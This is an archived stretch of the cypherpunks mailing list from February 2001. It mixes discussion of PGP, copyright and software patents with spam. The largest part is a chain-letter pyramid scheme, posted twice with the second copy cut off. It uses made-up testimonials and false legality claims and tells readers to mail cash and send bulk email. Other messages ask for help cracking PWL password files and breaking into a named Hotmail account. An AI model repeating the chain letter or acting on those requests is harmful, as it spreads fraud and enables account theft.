Date: Sun, 18 Feb 2001 11:51:07 -0800
Subject: Hi friends :)
References: <F186QR7j1HaKtKufVma0000849c@hotmail.com>
Message-ID: <003a01c099e4$261e7f60$6975e5a9@Reshall.berkeley.edu>


"cute boy"
first of all this is a mailing list for "cypherpunks" not  "pedophiles"

atek3

----- Original Message -----
From: "Imran Shaikh / JANI" <jimran at hotmail.com>
To: <msf at nsi.edu>; <ylo at cs.hut.fi>; <ssh at clinet.fi>; <cypherpunks at toad.com>;
<frank at funcom.no>
Sent: Saturday, February 17, 2001 9:29 PM
Subject: CDR: Hi friends :)


> hi
>
> my name is Jani
> living in hyderabad, Pakistan
> i am cute boy of age 22
>
> somehow i got ur email address so i am eamiling you all ppl, hope u guys
> will guide me. I want to view passwords of PWl files. i dont know how i
can
> do this. will you guys help me ? i need software for this that can decrpt
it
> with all yahoo and hotmail logins and passwords.
>
> waiting
> imran shaikh (jani)
> imranshaikh.cjb.net
>
>
> _________________________________________________________________________
> Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
>
>




From timotey_date at yahoo.com  Sun Feb 18 09:34:04 2001
From: timotey_date at yahoo.com (David Felder)
Date: Sun, 18 Feb 2001 12:34:04 -0500 (EST)
Subject: Favorable purchases and work for you.
Message-ID: <20010218173404.870101C9A4@pop162-leg.mail.com>


Hi!

My participant's ID code is 1072.

Do you want to earn some money using you computer?
Do you want to get the popular electronics , investing $65?

Important addition:
If you reconsider, you can return your $65 anytime.

If the answer is "Yes", please read this letter and/or visit
http://www.friendlybuys.com

Friendly Buys program gives you all these opportunities.
-You may get real, but not virtual, goods.
-You may make money, not virtual millions, but you will get your 5-7
thousands per month.
-Credit cards are accepted. (Online)
-If you reconsider, your $65 will be returned to you by first request.

The catalogue is updated regularly, the entire catalogue you may examine on
http://www.friendlybuys.com

If you are interested with the program and you decide to become its
participant, while registration you should enter my ID code: 1072.


Attention!
I'm terribly sorry if you are not interested in the participation in any
sort of net programs and you have received this letter accidentally. I'm not
going to use your e-mail to inform you about the program in the future.

Good luck!
Be happy!




From MARKETING at COMPJOB.COM  Sun Feb 18 12:04:55 2001
From: MARKETING at COMPJOB.COM (MARKETING at COMPJOB.COM)
Date: Sun, 18 Feb 2001 15:04:55 -0500
Subject: Win a Dell Laptop - Post Jobs for Free
Message-ID: <COMPJOBzQIHldBIBx35000019b4@compjob>

We apologize if you are an unintended recipient. To remove your address
from our mailing list, please click here
<http://www.compjob.com/email_remove.asp?TYPE=NATIONAL&ADDRESS=CYPHERPUN
KS at TOAD.COM> . Please do not attempt to reply to this message. This is
an outbound-only email. 	
 	 	 	
 	 <http://www.compjob.com> 	 February 2001	  	
  _____  

CompJob.com is a new Internet job board for employers and employees in
the computer industry. We've just opened our doors, and we'd love to
have YOUR business. So to get things rolling, we have a couple of
promotions that we'd like to let you know about.
Job Seekers  Employers 	
  _____  


Job Seekers

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Job Seekers, if you post your resume between now and March 31, 2001,
you'll be automatically entered into a drawing for a Dell Inspiron 3800
Laptop. 

	
 	 	 	
 	Job Seeker Features 	 	



1.	Easy to use interfaces
2.	Advanced resume criteria
3.	Anonymous resume posting
4.	Simple or advanced job queries
5.	(coming soon!) Automated resume-job matching
	 	 	 	

	 	Go To CompJob.com! <http://www.compjob.com>  Click the
link on the left to be redirected to our site. Please forward this offer
to any friends or family that may be interested.
<http://www.compjob.com> 
	
  _____  

	
	

	Employers

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	Employers, we'd like to give your company 3 months to try us out
for free. There are no obligations. We'll notify you when your
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1.	Easy to use interfaces
2.	Very competitive rates
3.	Individual job contact assignments
4.	Simple or advanced resume queries
5.	(coming soon!) Automated job-candidate matching
	 	 	 	

	 	
	 	Go To CompJob.com!
<http://www.compjob.com/company_frame.asp>  To start your trial simply
click on the logo to the left to be redirected to our site. This offer
is transferable, so feel free to send this message to colleagues.
<http://www.compjob.com>  
	
  _____  

	 	 	 	
	 Copyright 2001, ANT Info Solutions 

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From amtonner at uwaterloo.ca  Sun Feb 18 13:12:33 2001
From: amtonner at uwaterloo.ca (Andrew Tonner)
Date: Sun, 18 Feb 2001 16:12:33 -0500 (EST)
Subject: PGP on Debian
In-Reply-To: <Pine.LNX.4.21.0102161908440.10016-100000@toaster.by.net>
Message-ID: <Pine.SOL.4.05.10102181549320.23533-100000@laguerre.math.uwaterloo.ca>




On Fri, 16 Feb 2001, Strange Attractor wrote:

> 
> 		I currently use PGP 7.0 (w/Win2k) on my main system.  At
> present I have some of my mails routed to a Debian server running SSH with
> no POPMail support.   Hacktic.nl has command line linux PGP source,  but
> the .tar appears to be corrupted.  I've also noticed a number of differing
> PGP/Pine programs, but I'm unclear as to what the current version is
> (there are .tar files available for "PGP4PINE" up to 1.56, but then
> another file is listed as PGPPINE5 in the same directory.  Any suggestions
> on what I can use given Debian/Pine parameters?
> 
> Strange Attractor
> 
Hint: Please give use version numbers of stuff you have.

The main distribution site for PGP freeware cl for unix is:
http://web.mit.edu/network/pgp.html

In case this isn't clear to you, pgp4pine and pgppine are different
programs, and both are just wrappers for pgp.

I have no idea why you don't just install the appropriate debian
package for whichever of pgp4pine or pgppine you prefer... unless you have
a pre-apt version of debian (suggestion: upgrade) or you
don't know what you're doing (suggestion: RTFM at
http://www.newriders.com/debian/html/frames/ , seeing especially the
"Removing and Installing Software" section).

-aT




From tonymcee at hotmail.com  Sun Feb 18 09:45:55 2001
From: tonymcee at hotmail.com (tony cooper)
Date: Sun, 18 Feb 2001 17:45:55 -0000
Subject: test
Message-ID: <F13gagGPqNccgDvXwl60001aafe@hotmail.com>



_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com




From undo_all at hotmail.com  Sun Feb 18 11:11:46 2001
From: undo_all at hotmail.com (Kenneth Brookes)
Date: Sun, 18 Feb 2001 20:11:46 +0100
Subject: No subject
Message-ID: <F131aSeXnbnCndg5oQJ00007a39@hotmail.com>


hey,can you find pass for grazz_green at hotmail.com?
will be greatfull!
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.




From bionic at crazyneedspeed.com  Sun Feb 18 17:27:50 2001
From: bionic at crazyneedspeed.com (bionic at crazyneedspeed.com)
Date: Sun, 18 Feb 2001 20:27:50 -0500
Subject: Save your credit before its too late!!!!!
Message-ID: <cjy12l01ao8o80eyyi4.68a1bn713a@mail.crazyneedspeed.com>

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From bionic at crazyneedspeed.com  Sun Feb 18 17:29:47 2001
From: bionic at crazyneedspeed.com (bionic at crazyneedspeed.com)
Date: Sun, 18 Feb 2001 20:29:47 -0500
Subject: Cut bills by 60% without a loan!!!
Message-ID: <50805v1n.a08h0r56cr0br7vj2@mail.crazyneedspeed.com>

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From bionic at crazyneedspeed.com  Sun Feb 18 17:30:31 2001
From: bionic at crazyneedspeed.com (bionic at crazyneedspeed.com)
Date: Sun, 18 Feb 2001 20:30:31 -0500
Subject: You can cut your credit card bills by 60%!!!!!
Message-ID: <5ceqqu8ub32p1w360fk.7v18wp4ugh8tvqii7q6@mail.crazyneedspeed.com>

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From petro at bounty.org  Sun Feb 18 20:48:26 2001
From: petro at bounty.org (petro)
Date: Sun, 18 Feb 2001 20:48:26 -0800
Subject: Taxes on hard drives
In-Reply-To: <Pine.LNX.4.10.10102162230240.13258-100000@clueserver.org>
References: <Pine.LNX.4.10.10102162230240.13258-100000@clueserver.org>
Message-ID: <p04320402b6b654183829@[10.1.1.200]>


>On Fri, 16 Feb 2001, petro wrote:
>
>>  >On Thu, 15 Feb 2001, Ken Brown wrote:
>>  >>You guys just need to get back to the big city :-)
>>  >
>>  >not true.  in fact, i would argue that the difficulty of finding
>>  >good music is widespread throughout the states.
>>  >i attribute this to the clueless, braindead fools who are governed
>>  >by the radio...and we all know the stupidity of the people who
>>  >control the radio stations.
>>
>>  	So what you are complaining about is market forces?
>
>When the market is "what a bunch of guys in suits decide is what I should
>be able to buy" -- YES!

	Funny, I don't think the people running Cleopatra Records, or 
any of a number of smaller labels wear suits all that often.

>The reason unauthorized copying takes place to the extent it does is the
>absolute disreguard for "the market" that those making the decisions on
>what is available and/or what is promoted have for those "market forces".

	The reason unauthorized copying takes place is because it is 
at least one, and sometimes two orders of magnitude cheaper to copy a 
CD (depending on whether you go to tape or another CD) than it is to 
go buy one.

	People, when given a choice, will almost always opt for the 
*CHEAPEST* method of obtaining a desired good or service.

>When was the last time that actual supply and demand actually made a
>difference in how much you had to pay for a movie or DVD?  Who else are
>you going to get it from?

	I don't buy movies or DVDs, mostly because any cost to me is 
more than it is worth. For music, I would prefer to give the money 
directly to the artists, but until they start selling direct, I'll 
continue to buy what I can find.

	As to supply and demand entering into it, I've purchased 
stuff for two to three times store prices from Europe, simply because 
there isn't the demand in this country for the artist I wanted to 
hear.

	When one has tastes outside the mainstream, be it in music, 
clothing, guns, or whatever, one has to pay the price.
-- 
You can never go hunting
With just a flintlock and a hound
You won't go home with a bunting
If you blow a hundred rounds -- Tom Waits, Just the Right Bullets




From petro at bounty.org  Sun Feb 18 20:57:39 2001
From: petro at bounty.org (petro)
Date: Sun, 18 Feb 2001 20:57:39 -0800
Subject: Taxes on hard drives
In-Reply-To: <3A8E818C.DC23BACD@ccs.bbk.ac.uk>
References: <F1997kNSRQDgFwZq7RW00005755@hotmail.com>
 <p04320410b6b3c4cae4e9@[10.1.1.42]> <3A8E818C.DC23BACD@ccs.bbk.ac.uk>
Message-ID: <p04320403b6b65665c298@[10.1.1.200]>


>petro wrote:
>>
>>  >On Thu, 15 Feb 2001, Ken Brown wrote:
>>  >>You guys just need to get back to the big city :-)
>>  >
>>  >not true.  in fact, i would argue that the difficulty of finding
>>  >good music is widespread throughout the states.
>>  >i attribute this to the clueless, braindead fools who are governed
>>  >by the radio...and we all know the stupidity of the people who
>>  >control the radio stations.
>>
>>          So what you are complaining about is market forces?
>
>Actually I think that was Alan who wrote that, not me.

	It's rather obvious from the nested >s that you didn't write it.

>But I imagine he is complaining against the copyright system acting
>against market forces (like Napster).

	Napster isn't a "market force", they produce no revenue, they 
make no money. Yet.

>Personally, I rather like copyright laws for the most part. Far less
>pernicious than patents (which were OK when they were for inventions,
>went downhill when they started patenting algorithms & now that drug
>companies are trying to patent chance discoveries it's turned into a
>total mess)  and trade secrets  (which shouldn't be the business of the
>law at all. A secret is a secret until it's out, then it isn't. If one
>of your employees lets your secrets out, well you should have paid them
>enough to make them want to keep them.)

	I disagree with none of that, except that if an employee 
deliberately leaks a "Trade Secret" that they were bound by contract 
to keep, then the businesses bitch is with that employee.

>Something odd seems to have happened to copyright in the music business
>though. Copyright law usually acts to protect the originator of a work
>(at least it does over here), for example authors license print
>publishers to distribute or sell what they write, but they don't usually
>permanently lose rights over their own work. For reasons I cannot claim
>to fully understand,  music publishers tend to buy the whole copyright
>of a work, the originators signing away their entire future interest in
>it. I suspect it has something to do with the relative weight of lawyers
>on each side. Or maybe authors are just more savvy than musicians as far
>as small print is concerned.

	Wave a fist (even a small fist) of money in front of an 
Artist, and for the most part whatever brains they had in the first 
place disappear.

	Artists (musicians, writers, whatever) *sell* the rights to 
their work. It's their choice. Music labels then take the risk of 
packaging and distributing that music. Their choice.

	The "High" prices one pays for a CD make it possible for 
there to be a *lot* more artists work to be distributed (ok, it's 
often the "500 channels of shit on TV") since the profits from one 
artist will offset losses from a few others.
-- 
You can never go hunting
With just a flintlock and a hound
You won't go home with a bunting
If you blow a hundred rounds -- Tom Waits, Just the Right Bullets




From lenardkn at tribe.ulm.edu  Sun Feb 18 22:16:01 2001
From: lenardkn at tribe.ulm.edu (kristy lenard)
Date: Sun, 18 Feb 2001 22:16:01 -0800
Subject: No subject
Message-ID: <000801c09a3b$70f31260$5f001e0a@pavilion>

is there any way to purchase a scanner that will pick up cell phones? if so, please tell me, i've searched everywhere!
thanks, 
monroe.
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From dijunicorn36 at hotmail.com  Mon Feb 19 01:07:01 2001
From: dijunicorn36 at hotmail.com (dijunicorn36)
Date: Mon, 19 Feb 2001 01:07:01 -0800
Subject: No subject
Message-ID: <OE49dsNchk65xc9HibT00009761@hotmail.com>

hey im looking for sex offdender profile and u came on so i need info about russell william nash   his zip code is 95608 and pls send info back to trkrnow01 at aol.com thk u so much
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From nfhryer at gm.dreamcast.com  Sun Feb 18 19:11:21 2001
From: nfhryer at gm.dreamcast.com (nfhryer at gm.dreamcast.com)
Date: Mon, 19 Feb 2001 03:11:21 +0000
Subject: No subject
Message-ID: <20010219031120.IWHW22720.snukfe04@gm.dreamcast.com>





From owner-cypherpunks at cyberpass.net  Mon Feb 19 03:44:18 2001
From: owner-cypherpunks at cyberpass.net (owner-cypherpunks at cyberpass.net)
Date: Mon, 19 Feb 2001 03:44:18 -0800 (PST)
Subject: No subject
Message-ID: <mailman.366.1576007497.31620.cypherpunks-legacy@lists.cpunks.org>



NIEGPINI.EXE




From honig at sprynet.com  Mon Feb 19 08:13:43 2001
From: honig at sprynet.com (David Honig)
Date: Mon, 19 Feb 2001 08:13:43 -0800
Subject: FAQ? how to set up a cross-platform encrypted mailing
  list/forum
In-Reply-To: <3337136558.982589680@[10.0.0.5]>
Message-ID: <3.0.6.32.20010219081343.00888650@pop.sprynet.com>


At 01:34 PM 2/19/01 +0000, Rachel Willmer wrote:
>How can I set up a mailing list or online forum with encrypted traffic?
>

Simplest way: forward only pgp encrypted email.  All correspondents must
have picked up the public keys of any poster.


.......
"What company did you say you were from, Mr. Hewlett?"
---Walt Disney to Bill Hewlett eetimes 22.01.01 p 32

 






  







From sparky at suba.com  Mon Feb 19 06:40:40 2001
From: sparky at suba.com (sparky)
Date: Mon, 19 Feb 2001 08:40:40 -0600
Subject: dutch take strong stance on software-patents
In-Reply-To: <3A9117BD.ACB1D8BD@ricardo.de>
Message-ID: <3A90DC08.2709.17D3AB@localhost>


On 19 Feb 2001, at 13:55, Tom wrote:

> sparky wrote:
> > > the dutch parliament members have made a decision today that
> > > software-patents in the netherlands shall either remain banned,
> > > and the law be cleared up in this respect, or subject to a
> > > scrutiny that shall be strict enough to eliminate most of the
> > > 30,000 "garbage patents" (as the meeting report calls it!)
> > > currently granted by the european patent office.
> > >
> > >
> > Got a reference?
> > 
> 
> posted to discussie at opensource.nl by Luuk van Dijk who, I think,
> attended the hearing. note that no law or such has been passed so far,
> the MPs had a hearing to make up their mind, and among others, free
> software people had been invited.
> 
> 
> I can dig out the full mail, if you want it.

If it's in Dutch I won't be able to read it. If it's in English, sure. 

> 





From sparky at suba.com  Mon Feb 19 06:48:09 2001
From: sparky at suba.com (sparky)
Date: Mon, 19 Feb 2001 08:48:09 -0600
Subject: the punks mentioned in The Atlantic
Message-ID: <3A90DDC9.17090.1EABCC@localhost>


"In 1992, inspired by his example, a band of mathematicians, 
computer scientists, and software engineers based primarily in the 
San Francisco area began to discuss ways to defend personal 
privacy in the computer age. They were brought together by an 
intense ideological commitment to privacy and free speech, and by 
an anarchistic mistrust of government and big business. They 
dedicated themselves to creating and widely disseminating the 
best cryptography possible, for all to use. They called themselves 
the Cypherpunks."

The article is mainly about the burgeoning privacy business, 
interviews with folks from Zero Knowledge and such. 

Link to the quote: 
http://theatlantic.com/issues/2001/03/lester2.htm (about halfway 
down the page)
Link to the article's first page: 
http://theatlantic.com/issues/2001/03/lester.htm

sparky




From jchoate at dev.tivoli.com  Mon Feb 19 08:09:51 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Mon, 19 Feb 2001 10:09:51 -0600
Subject: Slashdot | PRZ Announces Depature From NAI
Message-ID: <3A91454F.DD713F8A@dev.tivoli.com>


http://slashdot.org/articles/01/02/19/1356257.shtml
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From ezbiz at drsend.com  Mon Feb 19 10:14:52 2001
From: ezbiz at drsend.com (ezbiz at drsend.com)
Date: Mon, 19 Feb 2001 10:14:52
Subject: YES, even YOU will make MONEY on THIS one!!
Message-ID: <200102191517.HAA25543@cyberpass.net>


Dear Friends & Future Millionaire: 

AS SEEN ON NATIONAL TV:

Making over half million dollars every 4 to 5 months
from your home for an investment of only $25 U.S.
Dollars expense one time 

THANK'S TO THE COMPUTER AGE AND THE INTERNET! 
======================================== 
BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! 

Before you say ''Bull'', please read the following. 
This is the letter you have been hearing about on
the news lately. Due to the popularity of this letter
on the Internet, a national weekly news program 
recently devoted an entire show to the investigation 
of this program described below, to see if it really 
can make people money. The show also investigated
whether or not the program was legal. 

Their findings proved once and for all that there 
are ''absolutely NO Laws prohibiting the participation 
in the program and if people can follow the simple 
instructions, they are bound to make some mega
bucks with only $25 out of pocket cost''. 
DUE TO THE RECENT INCREASE OF POPULARITY
& RESPECT THIS PROGRAM HAS ATTAINED, IT 
IS CURRENTLY WORKING BETTER THAN EVER. 

This is what one had to say: '' Thanks to this profitable
opportunity. I was approached many times before but 
each time I passed on it. I am so glad I finally joined
just to see what one could expect in return for the
minimal effort and money required. To my astonishment
, I received total $ 610,470.00 in 21 weeks, with 
money still coming in''. 
Pam Hedland, Fort Lee, New Jersey. 

============================================= 
Here is another testimonial: ''' this program has been
around for a long time but I never believed in it. But 
one day when I received this again in the mail I decided
to gamble my $25 on it. I followed the simple instructions
and walaa ..... 3 weeks later the money started to come
in. First month I only made $240.00 but the next 2 months
after that I made a total of $290,000.00. So far, in the
past 8 months by re-entering the program, I have made 
over $710,000.00 and I am playing it again. The key
to successin this program is to follow the simple steps
and NOT change anything.'' More testimonials later
but first, 

~PRINT THIS NOW FOR YOUR FUTURE REFERENCE~ 

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every 4 to 5
months easily and comfortably, please read the following...
THEN READ IT AGAIN and AGAIN !!! 
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND 
YOUR FINANCIAL DREAMS WILL COME TRUE, 
GUARANTEED! INSTRUCTIONS: 

=====Order all 5 reports shown on the list below =====

For each report, send $5 CASH, THE NAME & NUMBER 
OF THE REPORT YOU ARE ORDERING and
YOUR E-MAIL ADDRESS to the person whose name 
appears ON THAT LIST next to the report. MAKE SURE 
YOUR RETURN ADDRESS IS ON YOUR ENVELOPE 
TOP LEFT CORNER in case of any mail problems. 

When you place your order, make sure you order each
of the 5 reports. You will need all 5 reports so that
you can save them on your computer and resell them.
YOUR TOTAL COST $5 X 5=$25.00. 

Within a few days you will receive, vie e-mail, each of
the 5 reports from these 5 different individuals. Save
them on your computer so they will be accessible for
you to send to the 1,000's of people who will order them 
from you. Also make a floppy of these reports and keep
it on your desk in case something happen to your computer. 

IMPORTANT - DO NOT alter the names of the people
who are listed \ next to each report, or their sequence 
on the list, in any way other than what is instructed
below in step '' 1 through 6 '' or you will loose out on
majority of your profits. Once you understand the way
this works, you will also see how it does not work if you
change it. Remember,this method has been tested,
and if you alter, it will NOTwork !!! People have tried
to put their friends/relatives names on all five thinking
they could get all the money.But it does not work this
way. Believe us, we all have tried to be greedy and
then nothing happened. So Do Not try to change
anything other than what is instructed. Because if you
do, it will not work for you. 
Remember, honesty reaps the reward!!! 

1.... After you have ordered all 5 reports, take this
advertisement and REMOVE the name & address of
the person in REPORT # 5. This person has made it
through the cycle and is no doubt counting their fortune. 

2.... Move the name & address in REPORT # 4 down TO REPORT # 5. 

3.... Move the name & address in REPORT # 3 down TO REPORT # 4. 

4.... Move the name & address in REPORT # 2 down TO REPORT # 3. 

5.... Move the name & address in REPORT # 1 down TO REPORT # 2 

6.... Insert YOUR name & address in the REPORT # 1 Position. 
PLEASE MAKE SURE you copy every name & address ACCURATELY! 

================================================
**** Take this entire letter, with the modified list of 
names, and save it on your computer. DO NOT 
MAKE ANY OTHER CHANGES. 

Save this on a disk as well just in case if you loose 
any data. To assist you with marketing your business on
the internet, the 5 reports you purchase will provide you
with invaluable marketing information which includes
how to send bulk e-mails legally, where to find thousands
of free classified ads and much more. There are 2 
Primary methods to get this venture going: 

METHOD # 1: BY SENDING BULK E-MAIL LEGALLY 
=================================================

It's say that you decide to start small, just to see how it 
goes, and we will assume You and those involved send
out only 5,000 e-mails each. Let's also assume that the
mailing receive only a 0.2% response (the response could
be much better but lets just say it is only 0.2%. Also many
people will send out hundreds of thousands e-mails 
instead of only 5,000 each). Continuing with this example, 
you send out only 5,000 e-mails. 

With a 0.2% response, that is only 10 orders for 
report # 1. Those 10 people responded by sending
out 5,000 e-mail each for a total of 50,000. Out of 
those 50,000 e-mails only 0.2% responded with 
orders. That's=100 people responded and ordered 
Report # 2. 

Those 100 people mail out 5,000 e-mails each 
for a total of 500,000 e-mails. The 0.2% response to
that is 1000 orders for Report # 3. 

Those 1000 people send out 5,000 e-mails each for
a total of 5 million e-mails sent out. The 0.2%
response to that is 10,000 orders for Report # 4.

Those 10,000 people send out 5,000 e-mails each
for a total of 50,000,000 (50 million) e-mails. The
0.2% response to that is 100,000 orders for 
Report # 5 THAT'S 100,000 ORDERS TIMES 
$5 EACH=$500,000.00 (half million). 

Your total income in this example is: 1..... 
$50 + 2..... $500 + 3.....$5,000 + 4..... $50,000 + 
5..... $500,000 ........ Grand Total=$555,550.00 

NUMBERS DO NOT LIE. GET A PENCIL & 
PAPER AND FIGURE OUT THE WORST
POSSIBLE RESPONSES AND NO MATTER
HOW YOU CALCULATE IT, YOU WILL STILL
MAKE A LOT OF MONEY ! 

============================================ 
REMEMBER FRIEND, THIS IS ASSUMING 
ONLY 10 PEOPLE ORDERING OUT OF 
5,000 YOU MAILED TO. 
Dare to think for a moment what would happen
if everyone or half or even one 4th of those people
mailed 100,000e-mails each or more? There are over 
150 million people on the Internet worldwide and
counting. Believe me, many people will do just
that, and more! 

METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET 
=================================================
Advertising on the net is very very inexpensive and there
are hundreds of FREE places to advertise. Placing a lot
of free ads on the Internet will easily get a larger response.
We strongly suggest you start with Method # 1 and
add METHOD # 2 as you go along. For every $5 you
receive,all you must do is e-mail them the Report they 
ordered. That's it. Always provide same day service on 
all orders. 

This will guarantee that the e-mail they send out, 
with your name and address on it, will be prompt
because they cannot advertise until they
receive the report. 

=============AVAILABLE REPORTS ============

ORDER EACH REPORT BY ITS NUMBER & 
NAME ONLY. Notes: Always send $5 cash 
(U.S. CURRENCY) for each Report. Checks NOT 
accepted. Make sure the cash is concealed by 
wrapping it in at least 2 sheets of paper. On one
of those sheets of paper, Write the NUMBER 
& the NAME of the Report you are ordering, 
YOUR E-MAIL ADDRESS 
and your name and postal address. 

PLACE YOUR ORDER FOR THESE REPORTS NOW: 
============================================
Report # 1: 'The Insider's Guide to Advertising for Free on the Net 

Order Report #1 from:

JW
PO Box 344
Pfafftown, NC 27040
USA

______________________________________________________
REPORT # 2: The Insider's Guide to Sending Bulk e-mail on the Net

Order Report # 2 from: 

Richard E. Weaver
P.O. Box 67
St.Johnsville, NY 13452
USA 

______________________________________________________
REPORT # 3: Secret to Multilevel marketing on the net

Order Report # 3 from: 

A. Smith
P.O. Box 573072
Houston, TX 77257-3072
USA 

______________________________________________________
REPORT # 4: How to become a Millionaire utilizing MLM & the Net 

Order Report # 4 from: 

CJ
P.O. 130157
Roseville, MN 55113
USA 

______________________________________________________
REPORT #5: How to send out 0ne million emails for free!

Order Report # 5 From:

R.B.
Box 21115
Grande Prairie
Alberta, T8V-6W7
CANADA
______________________________________________________
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ 

Follow these guidelines to guarantee your success: 

=== If you do not receive at least 10 orders for Report 
#1 within 2 weeks, continue sending e-mails until you do. 

=== After you have received 10 orders, 2 to 3 weeks
after that you should receive 100 orders or more for 
REPORT # 2. If you did not, continue advertising or
sending e-mails until you do. 

=== Once you have received 100 or more orders
for Report # 2, YOU CAN RELAX, because the 
system is already working for you, and the cash will
continue to roll in ! THIS IS IMPORTANT TO 
REMEMBER: Every time your name is moved 
down on the list, you are placed in front of a
Different report. 

You can KEEP TRACK of your PROGRESS
by watching which report people are ordering 
from you. IF YOU WANT TO GENERATE
MORE INCOME SEND ANOTHER BATCH
OF E-MAILS AND START THE WHOLE
PROCESS AGAIN. There is NO LIMIT 
to the income you can generate from this business !!! 

==========================================

FOLLOWING IS A NOTE FROM THE 
ORIGINATOR OF THIS PROGRAM: You have
just received information that can give you
financial freedom for the rest of your life, with NO
RISK and JUST A LITTLE BIT OF EFFORT. You 
can make more money in the next few weeks 
and months than you have ever imagined. Follow the
program EXACTLY AS INSTRUCTED. Do Not change
it in any way. It works exceedingly well as it is now. 

Remember to e-mail a copy of this exciting report
after you have put your name and address in 
Report #1 and moved others to #2 ...........# 5 as 
instructed above. One of the people you send this
to may send out 100,000 = or more e-mails and your
name will be on every one of them. Remember 
though, the more you send out the more potential
customers you will reach. So my friend, I have given you
the ideas, information, materials and opportunity
to become financiallyindependent.
 IT IS UP TO YOU NOW ! 

============ MORE TESTIMONIALS ============ 

'' My name is Mitchell. My wife, Jody and I live
in Chicago. I am an accountant with a major U.S.
Corporation and I make pretty good money.
When I received this program I grumbled to 
Jody about receiving ''junk mail''. I made fun of the
whole thing, spouting my knowledge of the population
and percentages involved. I ''knew'' it wouldn't work.
Jody totally ignored my supposed intelligence and
few days later she jumped in with both feet. I made
merciless fun of her, and was ready to lay the old 
''I told you so'' on her when the thing didn't work. Well, 
the laugh was on me! Within 3 weeks she had 
received 50 responses. Within the next 45 days 
she had received total $ 147,200.00 ........... 
all cash! I was shocked. I have joined 
Jody in her ''hobby''. 
Mitchell Wolf M.D., Chicago, Illinois 
=========================================
'' Not being the gambling type, it took me several 
weeks to make up my mind to participate in this plan.
But conservative that I am, I decided that the 
initial investment was so little that there was just 
no way that I wouldn't get enough orders to at 
least get my money back''. '' I was surprised when 
I found my medium size post office box crammed 
with orders. I made $319,210.00 in the first 
12 weeks. The nice thing about this deal is that 
it does not matter where people live. There simply 
isn't a better investment with a faster return and so big''. 
Dan Sondstrom, Alberta, Canada 
=============================================
'' I had received this program before. I deleted it, but 
later I wondered if I should have given it a try. Of course,
I had no idea who to contact to get another copy, so 
I had to wait until I was e-mailed again by someone else
........11 months passed then it luckily came again......
I did not delete this one! I made more than $490,000
on my first try and all the money came within 22 weeks''. 
Susan De Suza, New York, N.Y. 
============================================== 
'' It really is a great opportunity to make relatively easy
money with little cost to you. I followed the simple 
instructions carefully and within 10 days the money 
started to come in. My first month I made $ 20, 560.00
and by the end of third month my total cash count was
$ 362,840.00. Life is beautiful, Thanx to internet''. 
Fred Dellaca, Westport, New Zealand 
=============================================== 

ORDER YOUR REPORTS TODAY AND GET STARTED 
ON YOUR ROAD TO FINANCIAL FREEDOM !

================================================ 
If you have any questions of the legality of this
program, contact the Office of Associate Director 
for Marketing Practices, Federal Trade Commission,
Bureau of Consumer Protection, Washington, D.C. 


To be Removed from this mailing list: 
remove at 4ahomeloan.net




From ezbiz at drsend.com  Mon Feb 19 10:16:15 2001
From: ezbiz at drsend.com (ezbiz at drsend.com)
Date: Mon, 19 Feb 2001 10:16:15
Subject: YES, even YOU will make MONEY on THIS one!!
Message-ID: <200102191516.KAA21684@waste.minder.net>


Dear Friends & Future Millionaire: 

AS SEEN ON NATIONAL TV:

Making over half million dollars every 4 to 5 months
from your home for an investment of only $25 U.S.
Dollars expense one time 

THANK'S TO THE COMPUTER AGE AND THE INTERNET! 
======================================== 
BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!! 

Before you say ''Bull'', please read the following. 
This is the letter you have been hearing about on
the news lately. Due to the popularity of this letter
on the Internet, a national weekly news program 
recently devoted an entire show to the investigation 
of this program described below, to see if it really 
can make people money. The show also investigated
whether or not the program was legal. 

Their findings proved once and for all that there 
are ''absolutely NO Laws prohibiting the participation 
in the program and if people can follow the simple 
instructions, they are bound to make some mega
bucks with only $25 out of pocket cost''. 
DUE TO THE RECENT INCREASE OF POPULARITY
& RESPECT THIS PROGRAM HAS ATTAINED, IT 
IS CURRENTLY WORKING BETTER THAN EVER. 

This is what one had to say: '' Thanks to this profitable
opportunity. I was approached many times before but 
each time I passed on it. I am so glad I finally joined
just to see what one could expect in return for the
minimal effort and money required. To my astonishment
, I received total $ 610,470.00 in 21 weeks, with 
money still coming in''. 
Pam Hedland, Fort Lee, New Jersey. 

============================================= 
Here is another testimonial: ''' this program has been
around for a long time but I never believed in it. But 
one day when I received this again in the mail I decided
to gamble my $25 on it. I followed the simple instructions
and walaa ..... 3 weeks later the money started to come
in. First month I only made $240.00 but the next 2 months
after that I made a total of $290,000.00. So far, in the
past 8 months by re-entering the program, I have made 
over $710,000.00 and I am playing it again. The key
to successin this program is to follow the simple steps
and NOT change anything.'' More testimonials later
but first, 

~PRINT THIS NOW FOR YOUR FUTURE REFERENCE~ 

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every 4 to 5
months easily and comfortably, please read the following...
THEN READ IT AGAIN and AGAIN !!! 
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND 
YOUR FINANCIAL DREAMS WILL COME TRUE, 
GUARANTEED! INSTRUCTIONS: 

=====Order all 5 reports shown on the list below =====

For each report, send $5 CASH, THE NAME & NUMBER 
OF THE REPORT YOU ARE ORDERING and
YOUR E-MAIL ADDRESS to the person whose name 
appears ON THAT LIST next to the report. MAKE SURE 
YOUR RETURN ADDRESS IS ON YOUR ENVELOPE 
TOP LEFT CORNER in case of any mail problems. 

When you place your order, make sure you order each
of the 5 reports. You will need all 5 reports so that
